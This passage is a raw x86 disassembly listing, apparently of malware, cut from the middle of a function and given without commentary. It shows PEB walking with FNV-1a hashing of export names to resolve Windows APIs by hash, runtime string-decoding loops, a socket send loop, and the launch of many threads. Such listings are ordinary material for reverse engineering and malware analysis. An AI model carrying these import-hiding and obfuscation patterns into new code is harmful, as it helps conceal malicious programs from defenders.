mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
push eax
push ecx
push edx
push esi
call fcn.004b30d0
push dword [ebp - 0xc0]
mov dword [ebp - 0x30], eax
push dword [ebp - 0x10]
mov dword [ebp - 0x2c], edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
add ecx, edi
push ecx
call fcn.004ca570
add esp, 0xc
push 9
push 0x9d366fa3
call fcn.00408c30
mov ecx, dword [ebp - 0x70]
mov esi, eax
add esp, 8
cmp esi, ecx
jae 0x452fa6
mov edi, dword [sym.imp.WS2_32.dll_send]
nop dword [eax + eax]
sub ecx, esi
lea eax, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
push 0
cmovae eax, dword [ebp - 0x80]
push ecx
add eax, esi
push eax
push dword [ebp - 0x14]
call edi
cmp eax, 0xffffffff
je 0x452fda
mov ecx, dword [ebp - 0x70]
add esi, eax
cmp esi, ecx
jb 0x452f80
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x453042
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x453038
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454b8c
jmp 0x453038
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x453012
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x453008
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454b8c
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xd0]
call fcn.00402890
jmp 0x453115
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xd0]
call fcn.00402890
cmp byte [0x532f46], 0
jne 0x453115
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4530e7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4530e7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4530dd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4530c0
cmp esi, 0x2fa62ca8
je 0x4530eb
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4530a5
mov eax, dword [eax]
jmp 0x453080
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
push 0x64
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp byte [0x532f46], 0
je 0x453070
call fcn.00408c10
mov eax, dword [0x530b40]
lea ecx, [ebp - 0x180]
xor dword [0x530b48], eax
mov edx, 0x530b70
mov eax, dword [0x530b44]
xor dword [0x530b4c], eax
call fcn.00417d20
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x180]
push eax
lea ecx, [ebp - 0xe8]
call fcn.00458190
mov byte [ebp - 4], 0xe
mov ecx, 0x530b70
call fcn.00402770
test eax, eax
jne 0x4531e2
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xe8]
call fcn.00402770
test eax, eax
jne 0x4531e2
mov edx, 0x530b70
lea ecx, [ebp - 0x47c]
call fcn.00417d20
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x180]
push eax
call fcn.0045d0a0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x47c]
call fcn.00419b80
lea eax, [ebp - 0x180]
push eax
lea ecx, [ebp - 0xe8]
call fcn.00458040
push 0
push 0x2a1ff1b0
call fcn.00408d60
add esp, 8
push eax
call esi
mov ecx, 0x530b70
call fcn.00402770
test eax, eax
je 0x453172
push 0x51896c
mov ecx, 0x530b70
call fcn.00457e70
push eax
call fcn.004ca160
add esp, 8
test eax, eax
je 0x45328c
nop dword [eax]
nop word [eax + eax]
push 0x518654
lea ecx, [ebp - 0x210]
call fcn.00402790
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1f8]
push 0x51896c
call fcn.00402790
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x210]
push eax
lea edx, [ebp - 0x1f8]
mov ecx, 0x530b70
call fcn.00408350
add esp, 4
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1f8]
call fcn.00402780
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x210]
call fcn.00402780
push 0x51896c
mov ecx, 0x530b70
call fcn.00457e70
push eax
call fcn.004ca160
add esp, 8
test eax, eax
jne 0x453210
lea eax, [ebp - 0x12b]
push eax
call fcn.00454c00
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 2
jb 0x4532a0
push esi
lea ecx, [ebp - 0x3bc]
call fcn.00402790
mov byte [ebp - 4], 0x12
mov edx, eax
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0xe8]
or esi, 1
mov dword [ebp - 0x18], esi
call fcn.0045c710
test al, al
jne 0x4535b6
lea eax, [ebp - 0x10e]
push eax
call fcn.00454c20
mov edi, eax
xor edx, edx
movzx ecx, byte [edx + edi]
push ecx
call fcn.00459470
mov byte [edx + edi], al
inc edx
cmp edx, 2
jb 0x4532f1
push edi
lea ecx, [ebp - 0x3a4]
call fcn.00402790
mov dword [ebp - 4], 0x13
or esi, 2
mov edx, eax
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0xe8]
call fcn.0045c710
test al, al
jne 0x4535b6
lea eax, [ebp - 0x10b]
push eax
call fcn.00454c40
mov edi, eax
xor edx, edx
movzx ecx, byte [edx + edi]
push ecx
call fcn.00459470
mov byte [edx + edi], al
inc edx
cmp edx, 2
jb 0x453342
push edi
lea ecx, [ebp - 0x38c]
call fcn.00402790
mov dword [ebp - 4], 0x14
or esi, 4
mov edx, eax
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0xe8]
call fcn.0045c710
test al, al
jne 0x4535b6
lea eax, [ebp - 0xeb]
push eax
call fcn.00454c60
mov edi, eax
xor edx, edx
movzx ecx, byte [edx + edi]
push ecx
call fcn.00459470
mov byte [edx + edi], al
inc edx
cmp edx, 2
jb 0x453393
push edi
lea ecx, [ebp - 0x374]
call fcn.00402790
mov dword [ebp - 4], 0x15
or esi, 8
mov edx, eax
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0xe8]
call fcn.0045c710
test al, al
jne 0x4535b6
lea eax, [ebp - 0x27]
push eax
call fcn.00454c80
mov edi, eax
xor edx, edx
movzx ecx, byte [edx + edi]
push ecx
call fcn.00459470
mov byte [edx + edi], al
inc edx
cmp edx, 2
jb 0x4533e1
push edi
lea ecx, [ebp - 0x35c]
call fcn.00402790
mov dword [ebp - 4], 0x16
or esi, 0x10
mov edx, eax
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0xe8]
call fcn.0045c710
test al, al
jne 0x4535b6
lea eax, [ebp - 0xa7]
push eax
call fcn.00454ca0
mov edi, eax
xor edx, edx
movzx ecx, byte [edx + edi]
push ecx
call fcn.00459470
mov byte [edx + edi], al
inc edx
cmp edx, 2
jb 0x453432
push edi
lea ecx, [ebp - 0x344]
call fcn.00402790
mov dword [ebp - 4], 0x17
or esi, 0x20
mov edx, eax
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0xe8]
call fcn.0045c710
test al, al
jne 0x4535b6
lea eax, [ebp - 0x97]
push eax
call fcn.00454cc0
mov edi, eax
xor edx, edx
movzx ecx, byte [edx + edi]
push ecx
call fcn.00459470
mov byte [edx + edi], al
inc edx
cmp edx, 2
jb 0x453483
push edi
lea ecx, [ebp - 0x32c]
call fcn.00402790
mov dword [ebp - 4], 0x18
or esi, 0x40
mov edx, eax
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0xe8]
call fcn.0045c710
test al, al
jne 0x4535b6
lea eax, [ebp - 0x93]
push eax
call fcn.00454ce0
mov edi, eax
xor edx, edx
movzx ecx, byte [edx + edi]
push ecx
call fcn.00459470
mov byte [edx + edi], al
inc edx
cmp edx, 2
jb 0x4534d4
push edi
lea ecx, [ebp - 0x314]
call fcn.00402790
mov dword [ebp - 4], 0x19
or esi, 0x80
mov edx, eax
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0xe8]
call fcn.0045c710
test al, al
jne 0x4535b6
lea eax, [ebp - 0x33]
push eax
call fcn.00454d00
mov edi, eax
xor edx, edx
movzx ecx, byte [edx + edi]
push ecx
call fcn.00459470
mov byte [edx + edi], al
inc edx
cmp edx, 2
jb 0x453525
push edi
lea ecx, [ebp - 0x2fc]
call fcn.00402790
mov dword [ebp - 4], 0x1a
or esi, 0x100
mov edx, eax
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0xe8]
call fcn.0045c710
test al, al
jne 0x4535b6
lea eax, [ebp - 0x5b]
push eax
call fcn.00454d20
mov edi, eax
xor edx, edx
movzx ecx, byte [edx + edi]
push ecx
call fcn.00459470
mov byte [edx + edi], al
inc edx
cmp edx, 2
jb 0x453572
push edi
lea ecx, [ebp - 0x2e4]
call fcn.00402790
mov dword [ebp - 4], 0x1b
or esi, 0x200
mov edx, eax
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0xe8]
call fcn.0045c710
mov byte [ebp - 0x21], 0
test al, al
je 0x4535ba
mov byte [ebp - 0x21], 1
mov dword [ebp - 4], 0x1a
mov eax, dword [ebp - 0x18]
test eax, 0x200
je 0x4535e1
and eax, 0xfffffdff
lea ecx, [ebp - 0x2e4]
mov dword [ebp - 0x18], eax
call fcn.00402780
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x19
test eax, 0x100
je 0x453605
and eax, 0xfffffeff
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 0x18], eax
call fcn.00402780
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x18
test al, al
jns 0x453626
and eax, 0xffffff7f
lea ecx, [ebp - 0x314]
mov dword [ebp - 0x18], eax
call fcn.00402780
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x17
test al, 0x40
je 0x453645
and eax, 0xffffffbf
lea ecx, [ebp - 0x32c]
mov dword [ebp - 0x18], eax
call fcn.00402780
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x16
test al, 0x20
je 0x453664
and eax, 0xffffffdf
lea ecx, [ebp - 0x344]
mov dword [ebp - 0x18], eax
call fcn.00402780
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x15
test al, 0x10
je 0x453683
and eax, 0xffffffef
lea ecx, [ebp - 0x35c]
mov dword [ebp - 0x18], eax
call fcn.00402780
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x14
test al, 8
je 0x4536a2
and eax, 0xfffffff7
lea ecx, [ebp - 0x374]
mov dword [ebp - 0x18], eax
call fcn.00402780
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x13
test al, 4
je 0x4536c1
and eax, 0xfffffffb
lea ecx, [ebp - 0x38c]
mov dword [ebp - 0x18], eax
call fcn.00402780
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x12
test al, 2
je 0x4536e0
and eax, 0xfffffffd
lea ecx, [ebp - 0x3a4]
mov dword [ebp - 0x18], eax
call fcn.00402780
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0xe
test al, 1
je 0x4536fc
and eax, 0xfffffffe
lea ecx, [ebp - 0x3bc]
mov dword [ebp - 0x18], eax
call fcn.00402780
cmp byte [ebp - 0x21], 0
je 0x453798
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x453777
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x453777
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45376d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x453750
cmp esi, 0xe80fd3a
je 0x45377b
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x453737
mov eax, dword [eax]
jmp 0x453712
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
call fcn.0041b490
call fcn.0041ba80
call fcn.0041c070
call fcn.0041c660
mov ecx, 0x533058
call fcn.004559a0
test al, al
je 0x45390a
call fcn.004559b0
test al, al
jne 0x45390a
lea eax, [ebp - 0x245]
push eax
call fcn.00454d40
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0xb
jb 0x4537e0
push esi
mov ecx, 0x533058
call fcn.0045c780
mov ecx, eax
call fcn.0045cfb0
mov byte [0x530b3e], al
lea eax, [ebp - 0x1c8]
push eax
call fcn.00454d60
mov esi, eax
xor edx, edx
nop word [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 7
jb 0x453820
push esi
mov ecx, 0x533058
call fcn.0045c780
mov ecx, eax
call fcn.0045cfb0
mov byte [0x530b54], al
lea eax, [ebp - 0x230]
push eax
call fcn.00454d80
mov esi, eax
xor edx, edx
nop word [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 7
jb 0x453860
push esi
mov ecx, 0x533058
call fcn.0045c780
mov ecx, eax
call fcn.0045cfb0
mov byte [0x530b3d], al
lea eax, [ebp - 0x429]
push eax
call fcn.00454da0
mov esi, eax
xor edx, edx
nop word [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0xc
jb 0x4538a0
push esi
mov ecx, 0x533058
call fcn.0045c780
mov ecx, eax
call fcn.0045cfb0
mov byte [0x530b3c], al
lea eax, [ebp - 0x437]
push eax
call fcn.00454dd0
mov edi, eax
xor esi, esi
nop word [eax + eax]
movzx edx, byte [esi + edi]
push edx
call fcn.00459470
mov byte [esi + edi], al
inc esi
cmp esi, 0xd
jb 0x4538e0
push edi
mov ecx, 0x533058
call fcn.0045c780
mov ecx, eax
call fcn.0045cfb0
mov byte [0x530b3f], al
call fcn.0043ff40
call fcn.004429e0
mov ecx, 0x532fd4
call fcn.004551c0
mov ecx, 0x533110
call fcn.004551c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x443240
push 0
push 0
call esi
push 0
push 0
push 0
push 0x444610
push 0
push 0
mov dword [ebp - 0x1c], eax
call esi
push 0
push 0
push 0
push 0x44bb20
push 0
push 0
mov dword [ebp - 0x38], eax
call esi
mov dword [ebp - 0x5c], eax
call fcn.004355b0
test al, al
je 0x453a1d
lea ecx, [ebp - 0x1a8]
call fcn.00435860
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x187]
push eax
call fcn.00430d60
mov edi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edi + edx]
push ecx
call fcn.00459470
mov byte [edi + edx], al
inc edx
cmp edx, 6
jb 0x4539a0
mov ecx, dword [ebp - 0x10]
sub esp, 0x10
mov esi, esp
mov dword [ebp - 0x14], esp
push edi
call fcn.0045c780
push eax
mov ecx, esi
call fcn.00455d10
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x239]
push eax
call fcn.00454e00
mov esi, eax
xor edx, edx
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 8
jb 0x4539e0
push esi
mov ecx, 0x5330a8
call fcn.0045c780
mov byte [ebp - 4], 0x1c
mov ecx, eax
call fcn.00455ca0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1a8]
call fcn.00455c90
call fcn.00435830
lea ecx, [ebp - 0x1b8]
call fcn.00436b30
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x18e]
push eax
call fcn.00430d60
mov edi, eax
xor edx, edx
nop
movzx ecx, byte [edi + edx]
push ecx
call fcn.00459470
mov byte [edi + edx], al
inc edx
cmp edx, 6
jb 0x453a40
mov ecx, dword [ebp - 0x10]
sub esp, 0x10
mov esi, esp
mov dword [ebp - 0x14], esp
push edi
call fcn.0045c780
push eax
mov ecx, esi
call fcn.00455d10
mov byte [ebp - 4], 0x1f
lea eax, [ebp - 0x44a]
push eax
call fcn.00454e20
mov esi, eax
xor edx, edx
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0x12
jb 0x453a80
push esi
mov ecx, 0x5330a8
call fcn.0045c780
mov byte [ebp - 4], 0x1e
mov ecx, eax
call fcn.00455ca0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1b8]
call fcn.00455c90
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x453b2f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x453b2f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x453b25
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x453b08
cmp esi, 0x71948ca4
je 0x453b33
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x453af0
mov eax, dword [eax]
jmp 0x453ac4
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
push 0x493e0
push dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x453bc7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x453bc7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x453bbd
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x453ba0
cmp esi, 0x71948ca4
je 0x453bcb
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x453b87
mov eax, dword [eax]
jmp 0x453b62
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
push 0x493e0
push dword [ebp - 0x38]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x453c67
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x453c67
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x453c5d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x453c40
cmp esi, 0x71948ca4
je 0x453c6b
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x453c25
mov eax, dword [eax]
jmp 0x453c00
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
push 0x493e0
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x453d07
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x453d07
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x453cfd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x453ce0
cmp esi, 0xfaba0065
je 0x453d0b
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x453cc5
mov eax, dword [eax]
jmp 0x453ca0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
push dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x453d9f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x453d9f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop word [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x453d95
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x453d78
cmp esi, 0xfaba0065
je 0x453da3
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x453d60
mov eax, dword [eax]
jmp 0x453d35
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x38]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x453e37
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x453e37
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x453e2d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x453e10
cmp esi, 0xfaba0065
je 0x453e3b
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x453df5
mov eax, dword [eax]
jmp 0x453dd0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x44c0b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x44d0d0
push 0
push 0
mov dword [ebp - 0x1c], eax
call esi
push 0
push 0
push 0
push 0x44e8f0
push 0
push 0
mov dword [ebp - 0x38], eax
call esi
push 0
push 0
push 0
push 0x44f600
push 0
push 0
mov dword [ebp - 0x5c], eax
call esi
push 0
push 0
push 0
push 0x450cd0
push 0
push 0
mov dword [ebp - 0x34], eax
call esi
push 0
push 0
push 0
push 0x450de0
push 0
push 0
mov dword [ebp - 0x94], eax
call esi
push 0
push 0
push 0
push 0x451cb0
push 0
push 0
mov dword [ebp - 0x98], eax
call esi
sub esp, 0x18
mov dword [ebp - 0xa8], eax
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0x530b70
call fcn.00458190
mov byte [ebp - 4], 0x20
sub esp, 0x18
lea eax, [ebp - 0x168]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x21
sub esp, 0x18
lea eax, [ebp - 0x180]
mov dword [ebp - 0x28], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x22
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xec], esp
push 0x530b88
call fcn.00458190
mov byte [ebp - 4], 0x23
mov byte [ebp - 4], 0xe
call fcn.0040cac0
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x453fd7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x453fd7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x453fcd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x453fb0
cmp esi, 0x71948ca4
je 0x453fdb
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x453f95
mov eax, dword [eax]
jmp 0x453f70
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
push 0x493e0
push dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
